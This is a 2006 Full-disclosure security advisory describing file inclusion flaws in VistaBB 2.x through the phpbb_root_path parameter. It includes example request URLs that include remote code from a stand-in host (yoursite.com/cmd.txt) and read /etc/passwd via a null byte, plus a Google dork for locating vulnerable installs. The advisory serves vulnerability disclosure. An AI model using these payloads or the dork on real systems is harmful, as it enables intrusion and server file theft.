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[Full-disclosure] Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities

From: Mustafa Can Bjorn IPEKCI (nukedxnukedx.com)
Date: Wed Aug 23 2006 - 22:04:26 CDT


--Security Report--
Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 24/08/06 03:00 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedxnukedx.com
Web: http://www.nukedx.com
}
---
Vendor: VistaBB (http://www.vistabb.net)
Version: 2.033 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
VistaBB.Variable phpbb_root_path did not sanitized properly before using it
on includes/functions_mod_user.php and includes/functions_portal.php so
remote attacker can include internal and external files to VistaBB
For including internal files magic_quotes_gpc must be off on server settings
because remote attacker needs to use null char at the end of filename.
Eg: /etc/passwd%00
Level: Highly Critical
---
How&Example:
GET ->

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=[FILE]
EXAMPLE ->

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE ->

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=/etc/passwd%00
<- mq off
GET ->

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=[FILE]
EXAMPLE ->

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE ->

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00
<- mq off
---
Timeline:
* 24/08/2006: Vulnerability found.
* 24/08/2006: Contacted with vendor and waiting reply
---
Exploit: http://www.nukedx.com/?getxpl=48
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=48
---
Dorks: "Powered by VistaBB"

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